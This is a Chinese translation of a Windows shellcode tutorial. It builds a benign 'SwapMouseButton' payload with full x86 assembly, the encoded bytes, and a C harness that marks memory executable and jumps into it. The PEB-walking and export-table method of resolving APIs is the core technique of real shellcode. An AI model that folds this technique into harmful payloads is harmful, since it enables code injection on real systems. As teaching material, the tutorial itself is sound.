shelcode代码开发介绍的最后一部分中,我们将编写一个简单的“SwapMouseButton”shellcode代码,这是一个将会交换左右鼠标按钮的shelcode代码。我们将从一个现有的shelcode代码开始:“Allwin URLDownloadToFile + WinExec + ExitProcess shellcode”。shellcode名称告诉我们一些东西,比如它的用途:

下载一个文件的URLDownloadToFile Windows API函数

执行文件的WinExec(可执行文件:. exe)

ExitProcess将终止运行shellcode的进程

使用这个例子,我们将调用SwapMouseButton函数和ExitProcess函数。我很确定,很容易理解这些函数的作用。

1
2
3
4
5
6
BOOL WINAPI SwapMouseButton(
_In_ BOOL fSwap
);
VOID WINAPI ExitProcess(
_In_ UINT uExitCode
);

如您所见,每个函数只有一个参数:

fSwap参数可以为真或假。如果这是真的,鼠标按钮就会被交换,否则它们将被恢复。

uExitCode表示流程退出代码。每个进程必须在退出时返回一个值(如果一切正常,则为零)。这是主函数的“返回0”。

概述

我们需要调用两个函数。在c++中,我们可以做的很简单:

22

编译器知道与“user32”库链接并查找该函数。但是我们必须在代码中手动操作。我们需要手动加载“user32”库,找到“SwapMouseButton”函数的地址并调用它。

23

但是在这里,编译器知道“LoadLibrary”和“GetProcAddress”函数的地址。在shelcode代码中,我们必须以编程方式找到它们。

注意,我们不需要在c++中调用“ExitProcess”函数,因为在“main”函数的“return 0”中,程序将被终止,但是从我们调用的shellcode代码中,我们可以确保程序优雅地终止,不会崩溃。

Shellcode概述

正如我们在前几部分中讨论的那样,为了生成可靠的shellcode代码,我们需要遵循一些步骤。我们知道要调用什么函数,但是首先,我们必须找到这些函数。

必要的步骤如下:

1.找到kernel32.dll被加载到内存中

2.找到其出口表

3.找到由kernel32.dll导出的GetProcAddress函数

4.使用GetProcAddress查找LoadLibrary函数的地址

5.使用LoadLibrary来加载user32.dll库

6.在user32.dll中找到SwapMouseButton函数的地址

7.调用SwapMouseButton函数

8.查找ExitProcess函数的地址

9.调用ExitProcess函数

为了编写我们的shellcode代码,我们将使用Visual Studio 2015(您可以使用任何其他版本或汇编程序,如masm、nasm等)。在Visual Studio中,我们可以使用“__asm {}”来直接编写ASM代码。

请确保您已正确阅读和理解本部分。

1
2
3
4
5
6
7
8
9
#include "stdafx.h"
int main()
{
    __asm
    {
        // ASM code here
    }
    return 0;
}

寻找kernel32.dll的基地址

正如你在下面看到的,我们可以找到kernel32.dll。使用以下代码将dll库加载到内存中:

xor ecx, ecx

mov eax, fs:[ecx + 0x30] ; EAX = PEB

mov eax, [eax + 0xc] ; EAX = PEB->Ldr

mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder

lodsd ; EAX = Second module

xchg eax, esi ; EAX = ESI, ESI = EAX

lodsd ; EAX = Third(kernel32)

mov ebx, [eax + 0x10] ; EBX = Base address

(第1 - 2行)让我们看看它是怎么做的。它将ecx寄存器设置为0并在第二个指令中使用它。但是为什么呢?还记得我们讲过避免零字节吗?“mov eax,fs:[30]”指令将在以下操作码序列中进行组装:“64 A1 30 00 00”,因此我们有空字节,而“mov eax,fs:[ecx + 0x30]”指令将被装配为“648b430”。这样就可以避免零字节。

(第3 - 4行)现在我们在eax寄存器中有了PEB指针。正如我们在前面的博客文章中所看到的,在0xC偏移量中,我们可以找到Ldr,我们遵循这个指针,在0x14偏移的Ldr中,我们有“in memory order”模块列表。

(第5 - 7行)我们现在计划在“InMemoryOrderLinks”上插入“program.exe”模块。在这里,第一个元素是“Flink”,一个指向下一个模块的指针。您可以看到我们将这个指针放置在esi寄存器中。“lodsd”指令将跟随esi寄存器指定的指针,我们将在eax寄存器中得到结果。这意味着在lodsd指令之后,我们将有第二个模块ntdll。在eax寄存器中。我们将这个指针放在esi中,交换eax和esi的值,并再次使用lodsd指令到达第3个模块:kernel32.dll。

(第8行)在这一点上,我们在eax寄存器中,指向kernel32.dll的“InMemoryOrderLinks”。添加0x10字节将给我们提供“DllBase”指针,这是kernel32的内存地址,然后加载dll。

查找kernel32.dll的导出表

我们在内存中找到kernel32.dll。现在我们需要解析这个PE文件并找到导出表。这并不复杂。

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew

add edx, ebx ; EDX = PE Header

mov edx, [edx + 0x78] ; EDX = Offset export table

add edx, ebx ; EDX = Export table

mov esi, [edx + 0x20] ; ESI = Offset names table

add esi, ebx ; ESI = Names table

xor ecx, ecx ; EXC = 0

(第1 - 2行)我们知道在偏移0x3C中可以找到“e_lfanew”指针,因为ms - dos头的大小是0x40字节,最后4个字节是“e_lfanew”指针。我们将这个值添加到基地址,因为指针相对于基地址(它是一个偏移量)。

(第3 - 4行)在PE标题的偏移0x78上,我们可以在导出中找到“DataDirectory”。我们知道这一点,因为在DataDirectory之前,所有PE header(签名、FileHeader和OptionalHeader)的大小正好是0x78字节,而导出是DataDirectory表中的第一个条目。再次,我们将这个值添加到edx寄存器,现在我们将它放在kernel32 . dll的导出表上。

(第5 - 7行)在IMAGE_EXPORT_DIRECTORY结构中,在偏移0x20中,我们可以找到指向“AddressOfNames”的指针,这样我们就可以得到导出的函数名。这是必需的,因为我们试图通过它的名称来查找函数,即使它可能使用其他方法。我们将指针保存在esi寄存器中,并将ecx寄存器设置为0(您将看到下面的原因)。

查找GetProcAddress函数名

我们现在在“AddressOfNames”上,一个指针数组(相对于图像基,kernel3dll的地址被加载到内存中。因此,每个4字节将表示一个指向函数名的指针。我们可以找到函数名,函数名序号(GetProcAddress函数的“number”)如下:

Get_Function:

​ inc ecx ; Increment the ordinal

​ lodsd ; Get name offset

​ add eax, ebx ; Get function name

​ cmp dword ptr[eax], 0x50746547 ; GetP

​ jnz Get_Function

​ cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA

​ jnz Get_Function

​ cmp dword ptr[eax + 0x8], 0x65726464 ; ddre

​ jnz Get_Function

(1 - 3行)第一行“什么都不做”。它是一个标签,一个我们将跳转到的位置的名称,用来读取函数名,如下所示。在第3行,我们增加ecx寄存器,这将是函数和函数序数的计数器。

(第4 - 5行)在esi寄存器中,指针指向第一个函数名。lodsd指令将在eax中放置到函数名的偏移位置(例如,“ExportedFunction”),我们将其添加到ebx(kernel32基地址)中,以便找到正确的指针。注意,“lodsd”指令也会增加esi寄存器的值4 !这帮助我们,因为我们不需要手动增加它,我们只需要调用lodsd,以获得下一个函数名指针。

(第6 - 11行)我们现在在eax中注册了一个指向输出函数名的正确指针。所以有一个包含函数名的字符串,我们需要检查这个函数是否是“GetProcAddress”。在第6行中,我们将导出的函数名与“0x50746547”进行比较,这实际上是“50 7465 47”的ascii值,意思是“PteG”。您可能会猜测它是“GetP”,即“GetProcAddress”的前四个字节,但是x86处理器使用的是little - endian方法,这意味着这些数字以其字节的相反顺序存储在内存中!因此,我们比较一下当前函数名的前四个字节是否为“GetP”。如果它们不是,jnz指令将再次跳转到我们的标签,它将继续使用下一个函数名。如果是,我们还检查下4个字节,它们必须是“rocA”和接下来的4字节“ddre”,以确保我们没有找到以“GetP”开头的其他函数。

寻找GetProcAddress 函数

此时,我们只找到了GetProcAddress函数的序号,但是我们可以使用它来查找这个函数的实际地址:

mov esi, [edx + 0x24] ; ESI = Offset ordinals

add esi, ebx ; ESI = Ordinals table

mov cx, [esi + ecx * 2] ; CX = Number of function

dec ecx

mov esi, [edx + 0x1c] ; ESI = Offset address table

add esi, ebx ; ESI = Address table

mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)

add edx, ebx ; EDX = GetProcAddress

在这一点上,我们在edx中有一个指向IMAGE_EXPORT_DIRECTORY结构的指针。在结构的偏移0x24中,我们可以找到“AddressOfNameOrdinals”偏移。在第2行中,我们将这个偏移量添加到ebx寄存器中,这是kernel32的镜像基地址。这样我们就得到了一个有效的指向序号表的指针。

(第3 - 4行)esi寄存器包含指向名称序数数组的指针。该数组包含两个字节数。我们在ecx寄存器中有GetProcAddress函数的名称序号(index),这样我们就得到了函数地址序数(index)。这将帮助我们得到函数地址。我们必须递减这个数字因为序号从0开始。

(第5 - 6行)在偏移0x1c中,我们找到了“AddressOfFunctions”,该指针指向函数指针数组。我们只是添加了kernel3.dll的图像基地址,我们把它放在数组的开头。

(第7 - 8行)现在我们有了ecx中“AddressOfFunctions”数组的正确索引,我们只会在AddressOfFunctions[ecx]位置找到GetProcAddress函数指针(相对于镜像基地址)。我们使用“ecx * 4”,因为每个指针有4个字节,而esi指向数组的开头。在第8行中,我们添加了image base,因此我们将在edx中使用GetProcAddress函数的指针。

寻找LoadLibary函数地址

坏消息是我们在这一点上没有做任何有用的事情。好消息是我们做的事情很复杂,现在我们可以玩得开心了!

xor ecx, ecx ; ECX = 0

push ebx ; Kernel32 base address

push edx ; GetProcAddress

push ecx ; 0

push 0x41797261 ; aryA

push 0x7262694c ; Libr

push 0x64616f4c ; Load

push esp ; “LoadLibrary”

push ebx ; Kernel32 base address

call edx ; GetProcAddress(LL)

(第1-3行)首先,我们将ecx设置为零,因为稍后我们将使用它。接下来,第2行和第3行,我们保存在堆栈上,接下来,ebx是kernel32.sll的基本地址,edx是指向GetProcAddress函数的指针。

(第4 - 10行)现在我们必须进行如下调用:GetProcAddress(kernel32,“LoadLibraryA”)。我们有kernel32地址,但是我们如何使用字符串呢?我们将再次使用堆栈。我们将在堆栈上放置“LoadLibraryA \ 0”字符串。是的,字符串必须是空的,所以这就是为什么我们把ecx设置为0,在第4行,我们把它放在堆栈上。我们一次将“LoadLibraryA”字符串放在堆栈4字节上,顺序颠倒。我们先放置“aryA”,然后是“Libr”,然后是“Load”,所以堆栈上的字符串将是“LoadLibraryA”。完成了!现在,当我们把数据放在堆栈上时,esp寄存器,堆栈指针,将指向我们的“LoadLibraryA”字符串的开头。我们现在将函数参数放在堆栈上,从最后一个到第一个,所以第8行中的esp,然后是ebx,第9行上的kernel32基本地址,我们调用edx,它是GetProcAddress指针。这就是一切!

注意,我们放置在堆栈“LoadLibraryA”上,而不仅仅是“LoadLibrary”。这是因为kernel32.dll不导出“LoadLibrary”函数,而是导出两个函数:“LoadLibraryA”,用于ANSI字符串参数和“LoadLibraryW”,用于Unicode字符串参数。

加载user32.dll库

我们之前找到了LoadLibrary函数地址,现在我们将使用它来加载到内存中“user32”。包含我们的SwapMouseButton函数的库。

add esp, 0xc ; pop “LoadLibraryA”

pop ecx ; ECX = 0

push eax ; EAX = LoadLibraryA

push ecx

mov cx, 0x6c6c ; ll

push ecx

push 0x642e3233 ; 32.d

push 0x72657375 ; user

push esp ; “user32.dll”

call eax ; LoadLibrary(“user32.dll”)

(第1 - 3行)正如您所看到的,我们之前将“LoadLibraryA”字符串放在堆栈上。所以我们要消掉这个。最简单的方法是,我们只需将0xc(即字符串的12字节)添加到esp寄存器中,而不是三个“pops”。在第2行中,我们还在调用函数之前将堆栈上的0移除,而ecx寄存器将被设置为0。我们现在为将来的应用程序进行备份,在堆栈上使用LoadLibrary函数地址,因为您知道,在调用函数之后,返回的数据将保存在eax寄存器中。

(第4 - 10行)我们想要调用“LoadLibrary”(user32 . dll)。所以我们需要再次在堆栈上放置一个字符串。现在有点棘手,因为字符串长度不是4字节的倍数,我们不能直接用几个push指令来放置它。相反,我们首先放置在堆栈上为0的ecx,我们使用CX寄存器来放置“ll”字符串。CX寄存器表示ecx寄存器的一半,是低地址的部分。我们可以把它放在堆栈上。在第7 - 8行中,我们放置“user32.dll”。现在,在esp我们有“user32.dll”字符串。我们将这个参数推到堆栈上以装载库,这也将返回到user32.dll库基地址,dll加载到内存中的地址。我们以后还需要使用它。

得到SwapMouseButton函数地址

我们加载了user32.dll库,现在我们想调用GetProcAddress来获取SwapMouseButton函数的地址。

add esp, 0x10 ; Clean stack

mov edx, [esp + 0x4] ; EDX = GetProcAddress

xor ecx, ecx ; ECX = 0

push ecx

mov ecx, 0x616E6F74 ; tona

push ecx

sub dword ptr[esp + 0x3], 0x61 ; Remove “a”

push 0x74754265 ; eBut

push 0x73756F4D ; Mous

push 0x70617753 ; Swap

push esp ; “SwapMouseButton”

push eax ; user32.dll address

call edx ; GetProc(SwapMouseButton)

(第1 - 2行)和以前一样,我们必须清理堆栈。在第2行,我们在edx寄存器中放入我们之前保存的GetProcAddress函数地址。在函数调用之后,eax、ecx和edx可能会被修改,因为它们没有被保留。

(第3 - 13行)我们要调用’GetProcAddress(user32.dll,“SwapMouseButton”)’。所以我们必须在堆栈上放置一个字符串。首先,在第3 - 4行中,我们将ecx寄存器设置为0,并将其放置在堆栈上。第二,我们在堆栈上放置“tona”。“ton”字符串表示“SwapMouseButton”字符串的最后3个字节,但我们也放置了一个“a”字符。这是一个我们可以使用的技巧,在第7行,我们将0x61从堆栈中减去,从我们放置那个“a”字符的位置。“a”是0x61,这意味着我们将“a”字符转换为NULL。现在,和以前一样,我们将其余的字符串放在堆栈上。我们push包含user32.dll基址的eax寄存器和调用GetProcAddress函数。请注意,无论你想做什么,你都可以做这件事,也许有更简单的方法来做这件事,所以就去找乐子吧!

调用SwapMouseButton函数

add esp, 0x14 ; Cleanup stack

xor ecx, ecx ; ECX = 0

inc ecx ; true

push ecx ; 1

call eax ; Swap!

(1 - 5行)我知道这很无聊,但我们必须清理堆栈。我们要调用SwapMouseButton(true),所以我们需要将“1”值push到堆栈上。我们只是将ecx寄存器设置为0并增加它。我们把它放在堆栈上,调用SwapMouseButton函数。如果您想恢复鼠标功能,请删除“inc . ecx”指令。

得到ExitProcess函数地址

我们做了一些事情,但是我们想要优雅地退出这个过程,所以我们需要在kernel32 . dll中找到ExitProcess函数。

add esp, 0x4 ; Clean stack

pop edx ; GetProcAddress

pop ebx ; kernel32.dll base address

mov ecx, 0x61737365 ; essa

push ecx

sub dword ptr [esp + 0x3], 0x61 ; Remove “a”

push 0x636f7250 ; Proc

push 0x74697845 ; Exit

push esp

push ebx ; kernel32.dll base address

call edx ; GetProc(Exec)

(第1 - 3行)再次清理堆栈中的“1”值。我们也从堆栈中得到我们在开始时备份的数据、edx寄存器中的GetProcAddress函数地址和ebx寄存器中的kernel32基地址。

(第4 - 11行)正如您已经熟悉的那样,我们将“ExitProcessa”字符串放在堆栈上,并用NULL字节替换最后一个“a”字符。我们将参数放在堆栈上,并调用GetProcAddress以获得ExitProcess函数地址。

调用ExitProcess函数

最后,我们调用ExitProcess函数:“ExitProcess(0)”。

xor ecx, ecx ; ECX = 0

push ecx ; Return code = 0

call eax ; ExitProcess

(第1 - 3行)我们必须在堆栈上清“0”,所以我们将ecx设置为0,将它放在堆栈上,并调用ExitProcess函数。

Shellcode

现在我们只需要把所有的代码段加在一起,最后的shellcode完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0

Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress

xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)

add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")

add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; eBut
push 0x73756F4D ; Mous
push 0x70617753 ; Swap
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)

add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!

add esp, 0x4 ; Clean stack
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess

这就是我们编写第一个(有用的)shellcode代码的方法!

测试Shellcode

我们以下面的代码进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include "stdafx.h"
#include <Windows.h>

int main()
{
char * shellcode = "\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75"
"\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68"
"\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x75\x73"
"\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68"
"\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9"
"\x41" // inc ecx - Remove this to restore the functionality

"\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61"
"\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0";
// Set memory as executable
DWORD old = 0;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old);
// Call the shellcode
__asm
{
jmp shellcode;
}
return 0;
}

原文地址:https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/

最后

经过Shellcode的编写思路走,一步步的编写shellcode,大致的流程也就是这样,也就是定位自己需要的函数地址,然后直接调用,当然在编写中会遇到很多问题,在本机能够编译成功,但在其他机器上无法运行的情况,还需要过ASLR等系统的防御机制,所以更深入的构造通用Shellcode,值得我们思考。